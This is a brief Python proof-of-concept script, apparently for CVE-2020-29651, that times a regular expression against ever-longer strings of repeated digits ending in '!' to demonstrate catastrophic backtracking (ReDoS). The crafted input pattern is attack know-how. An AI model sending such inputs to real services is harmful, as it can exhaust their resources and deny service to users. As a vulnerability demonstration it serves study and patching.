CVE-2020-29651.py

import re
from time import perf_counter

REGEX = re.compile('\s*(\d+)\s*(\S+) (.*)')

for i in range(0, 150000):
    ATTACK = "" + "1" * i*100 + "!"
    LEN = len(ATTACK)
    BEGIN = perf_counter()
    m = REGEX.search(ATTACK)
    DURATION = perf_counter() - BEGIN
    print(f"{LEN}: took {DURATION} seconds!")